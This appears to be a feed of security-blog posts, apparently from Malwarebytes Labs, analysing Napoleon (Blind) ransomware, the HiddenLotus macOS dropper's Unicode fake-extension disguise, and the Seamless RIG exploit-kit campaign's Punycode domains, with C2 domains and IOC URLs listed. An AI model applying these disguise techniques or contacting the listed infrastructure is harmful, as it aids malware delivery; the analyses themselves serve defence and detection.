  • 85ebf6330039de69dbef1a4860274f21d8b980adb9c3d8385873c5d697c61685
  • e514935ab07b29ca1ee9eedaf699de202ada70e29b4fc4618908b8ca8b3f83ef
  • 290eb4666848172a03c9c5123c004278647e8f5445a7d4e9c29a9ecc58c1b329
  • 4654f4cbd9e3910f4901493b9774d978060f1c9a9489612b66d66ee61667f60f

Command and Control Domains:

  • Disability[.]su
  • Franchessko[.]top
  • Ircnews[.]wang
  • Kjnsfiosgjnlorgiko[.]ru
  • Mhforum[.]biz
  • Missyiurfound[.]bid
  • scam-financial[.]org
  • sgsdgsdger[.]ru
  • troyamylove[.]gdn
  • wooow1[.]ru
  • youframegood[.]ru

Go to Source
Author: TJ Nelson

Napoleon: a new version of Blind ransomware

The ransomware previously known as Blind has been spotted recently with a .napoleon extension and some additional changes. In this post, we’ll analyze the sample for its structure, behavior, and distribution method.

Analyzed samples

31126f48c7e8700a5d60c5222c8fd0c7 – Blind ransomware (the first variant), with .blind extension

9eb7b2140b21ddeddcbf4cdc9671dca1 – Variant with .kill extension

235b4fa8b8525f0a09e0c815dfc617d3.napoleon (main focus of this analysis)

//special thanks to @demonslay335  for sharing the older samples

Distribution method

So far we are not 100 percent sure about the distribution method of this new variant. However, looking at the features of the malware and judging from information from the victims, we suspect that the attackers spread it manually by dropping and deploying on the hacked machines (probably via IIS). This method of distribution is not popular or efficient, however we’ve encountered similar cases in the past, such as DMALocker or LeChiffre ransomware. Also, few months ago, hacked IIS servers were used as a vector to plant Monero miners. The common feature of samples dropped in this way is that they are not protected by any cryptor (because it’s not necessary for this distribution method).

Behavioral analysis

After the ransomware is deployed, it encrypts files one-by-one, adding its extension in the format [email].napoleon.

Looking at the content of the encrypted test files, we can see that the same plaintext gave different ciphertext. This always indicates that different key or initialization vectors were used for each file. (After examining the code, it turned out that the difference was in the initialization vector).

Visualizing the encrypted content helps us guess the algorithm with which the files were encrypted. In this case, we see no visible patterns, so this leads us to suspect an algorithm with some method of chaining cipher blocks. (The most commonly used is AES in CBC mode, or eventually in CFB mode). Below, you can see the visualization made with the help of the file2png script: On the left is a BMP file before encryption. And on the right, after encryption by Napoleon:

At the end of each file, we found a unique 384-long block of alphanumeric characters. They represent 192 bytes written in hexadecimal. Most probably this block is the encrypted initialization vector for the particular file):

The ransom note is in HTA format and looks like this:

It also contains a hexadecimal block, which is probably the victim’s key, encrypted with the attackers’ public key.

The GUI of Napoleon looks simplified in comparison to the Blind ransomware. However, the building blocks are the same:

It is common among ransomware authors to prepare a tor-base website that allows automatic processing for payments and better organizes communication with the victim. In this case, the attackers decided to use just an email—probably because they planned for the campaign to be small.

Among the files created by the Napoleon ransomware, we will no longer find the cache file (netcache64.sys) that in the previous editions allowed to recover the key without paying the ransom.

Below is the cache file dropped by the Blind ransomware (the predecessor of Napoleon):

Inside the code

The malware is written in C++. It is not packed by any cryptor.

The execution starts in the function WinMain:

The flow is pretty simple. First, the ransomware checks the privileges with which it runs. If it has sufficient privileges, it deletes shadow copies. Then, it closes processes related to databases—Oracle and SQL Server—so that they will not block access to the database files it wants to encrypt. Next, it goes through the disks and encrypts found files. At the end, it pops up the dropped ransom note in HTA format.

Comparing the code of Napoleon with the code of Blind, we see that not just the extension of encrypted files has has changed, but also many functions inside have been refactored.

Below is a fragment of the view from BinDiff: Napoleon vs Blind:

What is attacked?

First, the ransomware enumerates all the logical drives in the system and adds them into a target list. It attacks both fixed and remote drives ( type 3 -> DRIVE_FIXED  and 4 -> DRIVE_REMOTE):

This ransomware does not have any list of attacked extensions. It attacks all the files it can reach. It skips only the files that already have the extension indicating they are encrypted by Napoleon:

The email used in the extension is hardcoded in the ransomware’s code.

Encryption implementation

Just like the previous version, the cryptographic functions of Napoleon are implemented with the help of the statically-linked library Crypto++ (source).

Referenced strings pointing to Crypto++:

Inside, we found a hardcoded blob—the RSA public key of the attackers:

After conversion to a standardized format, such as PEM, we were able to read its parameters using openssl, confirming that it is a valid 2048 bit–long RSA key:

Public-Key: (2048 bit)
Exponent: 17 (0x11)

This attacker’s public key is later used to encrypt the random key generated for the particular victim. The random key is the one used to encrypt files – after it is used and destroyed, it’s encrypted version is stored in the victim’s ID displayed in the ransom note. Only the attackers, having the private RSA key, are capable to recover it.

The random AES key (32 bit) is generated by the function provided by Crypto++ library:

It uses underneath the secure random generator: CryptGenRandom:

All the files are encrypted with the same key, however the initialization vector is different for each.

Encrypting single file:

Inside the function denoted as encrypt_file, the crypto is initialized with a new initialization vector:

The fragment of code responsible for setting the IV:

Setting initialization vector:

Encrypting file content:

The same buffer after encryption:


Napoleon ransomware will probably not become a widespread threat. The authors prepared it for small campaigns—lot of data, like email, are hardcoded. It does not come with any external configuration like Cerber that would allow for fast customization.

So far, it seems that the authors fixed the previous bug in Blind of dropping the cache file. That means the ransomware is not decryptable without having the original key. All we can recommend is prevention.

This ransomware family is detected by Malwarebytes as Ransom.Blind.


Read about how to decrypt the previous Blind variant here.

The post Napoleon: a new version of Blind ransomware appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

Interesting disguise employed by new Mac malware HiddenLotus

On November 30, Apple silently added a signature to the macOS XProtect anti-malware system for something called OSX.HiddenLotus.A. It was a mystery what HiddenLotus was until, later that same day, Arnaud Abbati found the sample and shared it with other security researchers on Twitter.

The HiddenLotus “dropper” is an application named Lê Thu Hà (HAEDC).pdf, using an old trick of disguising itself as a document—in this case, an Adobe Acrobat file.

This is the same scheme that inspired the file quarantine feature in Mac OS X. Introduced in Leopard (Mac OS X 10.5), this feature tagged files downloaded from the Internet with a special piece of metadata to indicate that the file had been “quarantined.” Later, when the user tried to open the file, if it was an executable file of any kind, such as an application, the system would display a warning to the user.

The intent behind this feature was to ensure that the user knew that the file they were opening was an application, rather than a document. Even back in 2009, malicious apps were masquerading as documents. File quarantine was meant to combat this problem.

Malware authors have been using this trick ever since, despite file quarantine. Even earlier this year, repeated outbreaks of the Dok malware were distributed in the form of applications disguised as Microsoft Word documents.

So HiddenLotus didn’t seem all that interesting at first, other than as a new variant of the OceanLotus backdoor first seen being used to attack numerous facets of Chinese infrastructure. OceanLotus was last seen earlier this summer, disguised as a Microsoft Word document and targeting victims in Vietnam.

But there was something strange about HiddenLotus. Unlike past malware, this one didn’t have a hidden .app extension to indicate that it was an application. Instead, it actually had a .pdf extension. Yet the Finder somehow identified it as an application anyway.

This was quite puzzling. Further investigation did not turn up a hidden extension. There was also no sign of a trick like the one used by Janicab in 2013.

Janicab used the old fake document technique, being distributed as a file named (apparently) “RecentNews.ppa.pdf.” However, the use of an RLO (right-to-left override) character caused characters following it to be displayed as if they were part of a language meant to be read right-to-left, instead of left-to-right as in English.

In other words, Janicab’s real filename was actually “,” but the presence of the RLO character after the first period in the name caused everything following to be displayed in reverse in the Finder.

However, this deception was not used in HiddenLotus. Instead, it turned out that the ‘d’ in the .pdf extension was not actually a ‘d.’ Instead, it was the Roman numeral ‘D’ in lowercase, representing the number 500.

It was at this point that Abbati’s tweet referring to “its very nice small Roman Unicode” began to make sense. However, it was still unclear exactly what was going on, and how this special character allowed the malware to be treated as an application.

After further consultation with Abbati, it turned out that there’s something rather surprising about macOS: An application does not need to have a .app extension to be treated like an application.

An application on macOS is actually a folder with a special internal structure called a bundle. A folder with the right structure is still only a folder, but if you give it an .app extension, it instantly becomes an application. The Finder treats it as if it were a single file instead of a folder, and a double-click launches the application rather than opening the folder.

When double-clicking a file (or folder), LaunchServices will consider the extension first. If the extension is known, the item will be opened according to that extension. Thus, a file with a .txt extension will, by default, be opened with TextEdit. Some folders may be treated as documents, as in the case of the .aplibrary extension used for an Aperture library “file.” A folder with the .app extension will, assuming it has the right internal structure, be launched as an application.

A file with an unfamiliar extension is handled by asking the user what they want to do. Options are given to choose an application to open the file or to search the Mac App Store.

However, something strange happens when double-clicking a folder with an unknown extension. In this case, LaunchServices falls back on looking at the folder’s bundle structure (if any).

So what does this mean? The HiddenLotus dropper is a folder with the proper internal bundle structure to be an application, and it uses an extension of .pdf, where the ‘d’ is a Roman numeral, not a letter. Although this extension looks exactly the same as the one used for Adobe Acrobat files, it’s completely different, and there are no applications registered to handle that extension. Thus, the system will fall back on the bundle structure, treating the folder as an application, even though it does not have a telltale .app extension.

There is nothing particularly special about this .pdf extension (using a Roman numeral ‘d’) except that it is not already in use. Any other extension that is not in use will work just as well:

Of course, the example shown above wouldn’t fool anyone, it’s merely illustrative of the issue.

This means that there is an enormously large list of possible extensions, especially when Unicode characters are included. It is easily possible to construct extensions from Unicode characters that look exactly like other, normal extensions, yet are not the same. This means the same trick could be used to mimic a Word document (.doc), an Excel file (.xls), a Pages document (.pages), a Numbers document (.numbers), and so on.

This is a neat trick, but it’s still not going to get past file quarantine. The system will alert you that what you’re trying to open is an application. Unless, of course, what you are opening was downloaded via an application that does not use the APIs that properly set the quarantine flag on the file, as is the case for some torrent apps.

Ultimately, it’s very unlikely that this trick is going to have any kind of significant impact on the Mac threat landscape. It’s probable that we will see it used again in the future, but the risk to the average user is not significantly higher than in the case of any other fake document malware.

More than anything else, this trick opens our eyes to an interesting aspect of how macOS identifies and launches applications.

If you think you may have encountered this malware, Malwarebytes for Mac will protect against it, and will scan for and remove it, if present, for free.

The post Interesting disguise employed by new Mac malware HiddenLotus appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Seamless campaign serves RIG EK via Punycode

The Seamless campaign is one of the most prolific malvertising chains pushing the RIG exploit kit and almost exclusively delivering the Ramnit Trojan. Identification of Seamless is typically easy, due to its use of static strings and an IP literal URLs. However, for over a week now we have been seeing another Seamless campaign running in parallel, making use of special characters.

Rather than using an IP address, this Seamless chain uses a Cyrillic-based domain name, which is transcribed into recognizable characters via Punycode, a visual representation of Unicode. In this blog post, we’ll do a quick historical review of the Seamless gate and describe this latest iteration in a new format.


We noted redirections via adult sites around March 2017 (as pictured below) that were going through a new gate targeting Canada. Due to the presence of the string of the same name in its code, Cisco named this new campaign “Seamless.” Seamless dropped the Ramnit banking Trojan from the very beginning and still continues to do so.

The URL patterns were typically:

These days, web traffic to Seamless still comes from adult portals serving malvertising, eventually redirecting to the same IP literal URLs containing the string test followed by three digits:

Seamless and Punycode

It wasn’t until recent years that domain registrars began to allow for non-English (ASCII) characters in domain names, defined by the Internationalized Domain Names (IDNs) for Applications framework. This allowed for countries to customize services with their own alphabets, which include what we’d otherwise call “special characters,” but have in fact existed long before the Internet was born.

Punycode is a representation of Unicode characters into ASCII used for hostnames, which allows for IDNs, while DNS lookups can still be performed using ASCII characters. The threat actors behind Seamless have been using a domain name containing Cyrillic characters (mostly found in Eastern European countries), which we noticed in our honeypot captures via its Punycode representation.

The call to the Seamless gate was initiated by a malvertising redirection:

It is worth noting that Punycode has been exploited by scammers crafting phishing domain names resembling official brands, as sometimes certain Unicode characters are hard to distinguish from ASCII ones.

It is unclear whether this was a deliberate attempt to bypass intrusion detection systems or if it is simply an odd case similar to previous ones such as the Decimal IP campaign. Time will tell if the Seamless operators maintain it or abandon it in favor of the long-used IP literal URLs.

Indicators of compromise (IOCs)

Note: These IOCs are specific to the Punycode Seamless campaign.


xn--80af6acaaaj9h .xn--p1acf/test441.php
xn--80af6acaaaj9h .xn--p1acf/test551.php

IP address:



The post Seamless campaign serves RIG EK via Punycode appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura